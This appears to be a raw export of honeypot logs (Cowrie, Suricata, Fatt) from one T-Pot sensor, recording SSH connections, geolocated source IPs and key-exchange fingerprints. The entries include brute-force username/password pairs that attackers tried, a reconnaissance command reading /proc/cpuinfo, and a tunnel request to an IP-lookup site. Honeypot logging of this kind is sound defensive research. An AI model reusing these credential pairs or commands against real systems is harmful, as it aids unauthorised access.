ib,none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
22131	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:06:17.623917+03	2021-09-20 14:15:04.536646+03	{"_id": "9gXiAnwBvYTbRNuEnfwt", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.login.failed", "message": "login attempt [logout/logout] failed", "session": "e2d4c1312798", "@version": "1", "password": "logout", "username": "logout", "timestamp": "2021-09-20T11:06:17.623917Z", "@timestamp": "2021-09-20T11:06:17.623Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
22132	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:06:17.739186+03	2021-09-20 14:15:04.538643+03	{"_id": "9wXiAnwBvYTbRNuEnfwt", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.login.failed", "message": "login attempt [zxin10/wiscom2011] failed", "session": "ba59f69158c2", "@version": "1", "password": "wiscom2011", "username": "zxin10", "timestamp": "2021-09-20T11:06:17.739186Z", "@timestamp": "2021-09-20T11:06:17.739Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
22134	223.241.247.214	109.199.241.180	Cowrie	2021-09-20 14:06:18.017077+03	2021-09-20 14:15:04.540612+03	{"_id": "-QXiAnwBvYTbRNuEnfwt", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "223.241.247.214", "asn": 4134, "as_org": "Chinanet", "latitude": 31.8642, "location": {"lat": 31.8642, "lon": 117.2865}, "timezone": "Asia/Shanghai", "longitude": 117.2865, "region_code": "AH", "region_name": "Anhui", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "223.241.247.214", "eventid": "cowrie.command.input", "message": "CMD: cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'", "session": "93a2eacc7d8b", "@version": "1", "timestamp": "2021-09-20T11:06:18.017077Z", "@timestamp": "2021-09-20T11:06:18.017Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
22135	27.69.246.93	109.199.241.180	Suricata	2021-09-20 14:06:18.59597+03	2021-09-20 14:15:04.541612+03	{"_id": "_AXiAnwBvYTbRNuEn_zo", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "flow_id": 1111343913151038, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 52866, "dest_port": 22, "timestamp": "2021-09-20T11:06:18.595970Z", "@timestamp": "2021-09-20T11:06:18.595Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
22136	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:06:18.465411+03	2021-09-20 14:15:04.543613+03	{"_id": "_QXiAnwBvYTbRNuEofwL", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "dest_ip": "ip-who.com", "eventid": "cowrie.direct-tcpip.request", "message": "direct-tcp connection request to ip-who.com:80 from :0", "session": "87a0b732c4da", "@version": "1", "src_port": 0, "dest_port": 80, "timestamp": "2021-09-20T11:06:18.465411Z", "@timestamp": "2021-09-20T11:06:18.465Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.direct-tcpip.request	\N	\N	\N
22137	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:06:18.14493+03	2021-09-20 14:15:04.544613+03	{"_id": "AgXiAnwBvYTbRNuEof0L", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.login.success", "message": "login attempt [carl/carl] succeeded", "session": "87a0b732c4da", "@version": "1", "password": "carl", "username": "carl", "timestamp": "2021-09-20T11:06:18.144930Z", "@timestamp": "2021-09-20T11:06:18.144Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.success	\N	\N	\N
22138	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:06:18.762023+03	2021-09-20 14:15:04.545614+03	{"_id": "DAXiAnwBvYTbRNuEof0L", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"id": 0, "data": "b'GET /json/ HTTP/1.1\\\\r\\\\nHost: ip-who.com\\\\r\\\\n\\\\r\\\\n'", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "dest_ip": "ip-who.com", "eventid": "cowrie.direct-tcpip.data", "message": "discarded direct-tcp forward request 0 to ip-who.com:80 with data b'GET /json/ HTTP/1.1\\\\r\\\\nHost: ip-who.com\\\\r\\\\n\\\\r\\\\n'", "session": "87a0b732c4da", "@version": "1", "dest_port": 80, "timestamp": "2021-09-20T11:06:18.762023Z", "@timestamp": "2021-09-20T11:06:18.762Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.direct-tcpip.data	\N	\N	\N
22139	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:06:18.319984+03	2021-09-20 14:15:04.547612+03	{"_id": "EAXiAnwBvYTbRNuEof0N", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 27.69.246.93:52866 (192.168.176.2:22) [session: 2759bab7190a]", "session": "2759bab7190a", "@version": "1", "protocol": "ssh", "src_port": 52866, "dest_port": 22, "timestamp": "2021-09-20T11:06:18.319984Z", "@timestamp": "2021-09-20T11:06:18.319Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
22141	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:06:18.016802+03	2021-09-20 14:15:04.549612+03	{"_id": "GAXiAnwBvYTbRNuEof0N", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.98.160.162", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 33754, "timestamp": "2021-09-20T11:06:18.016802", "@timestamp": "2021-09-20T11:06:18.016Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
22142	116.98.160.162	109.199.241.180	Fatt	2021-09-20 14:06:18.019812+03	2021-09-20 14:15:04.550613+03	{"_id": "GQXiAnwBvYTbRNuEof0N", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 33754, "dest_port": 22, "timestamp": "2021-09-20T11:06:18.019812", "@timestamp": "2021-09-20T11:06:18.019Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
22143	116.105.211.46	109.199.241.180	Cowrie	2021-09-20 14:06:18.173344+03	2021-09-20 14:15:04.552613+03	{"_id": "KQXiAnwBvYTbRNuEof0N", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.105.211.46", "eventid": "cowrie.login.failed", "message": "login attempt [tomcat7/tomcat7] failed", "session": "3181bb249e72", "@version": "1", "password": "tomcat7", "username": "tomcat7", "timestamp": "2021-09-20T11:06:18.173344Z", "@timestamp": "2021-09-20T11:06:18.173Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
22144	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:06:18.552872+03	2021-09-20 14:15:04.553613+03	{"_id": "KgXiAnwBvYTbRNuEof0N", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.login.failed", "message": "login attempt [config/config] failed", "session": "10e274bbe592", "@version": "1", "password": "config", "username": "config", "timestamp": "2021-09-20T11:06:18.552872Z", "@timestamp": "2021-09-20T11:06:18.552Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
22145	42.192.44.134	109.199.241.180	Cowrie	2021-09-20 14:06:18.573183+03	2021-09-20 14:15:04.555612+03	{"_id": "KwXiAnwBvYTbRNuEof0N", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "42.192.44.134", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "42.192.44.134", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "d09007e594dd", "@version": "1", "duration": 2.6113533973693848, "timestamp": "2021-09-20T11:06:18.573183Z", "@timestamp": "2021-09-20T11:06:18.573Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
33517	192.168.20.116	109.199.241.180	Suricata	2021-09-20 14:56:14.92246+03	2021-09-20 15:00:05.961723+03	{"_id": "cAYQA3wBvYTbRNuEWVBQ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 24731, "type": "query", "tx_id": 0, "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "geoip": {}, "proto": "UDP", "src_ip": "192.168.20.116", "dest_ip": "195.24.88.8", "flow_id": 1562867578835804, "@version": "1", "in_iface": "enp5s0", "src_port": 57829, "dest_port": 53, "timestamp": "2021-09-20T11:56:14.922460Z", "@timestamp": "2021-09-20T11:56:14.922Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
22146	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:06:18.596134+03	2021-09-20 14:15:04.556613+03	{"_id": "GwXiAnwBvYTbRNuEof0N", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "27.69.246.93", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 52866, "timestamp": "2021-09-20T11:06:18.596134", "@timestamp": "2021-09-20T11:06:18.596Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
22147	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:06:18.629803+03	2021-09-20 14:15:04.558614+03	{"_id": "HAXiAnwBvYTbRNuEof0N", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.105.211.46", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 58530, "timestamp": "2021-09-20T11:06:18.629803", "@timestamp": "2021-09-20T11:06:18.629Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
22148	27.69.246.93	109.199.241.180	Fatt	2021-09-20 14:06:18.652071+03	2021-09-20 14:15:04.559612+03	{"_id": "HQXiAnwBvYTbRNuEof0N", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": 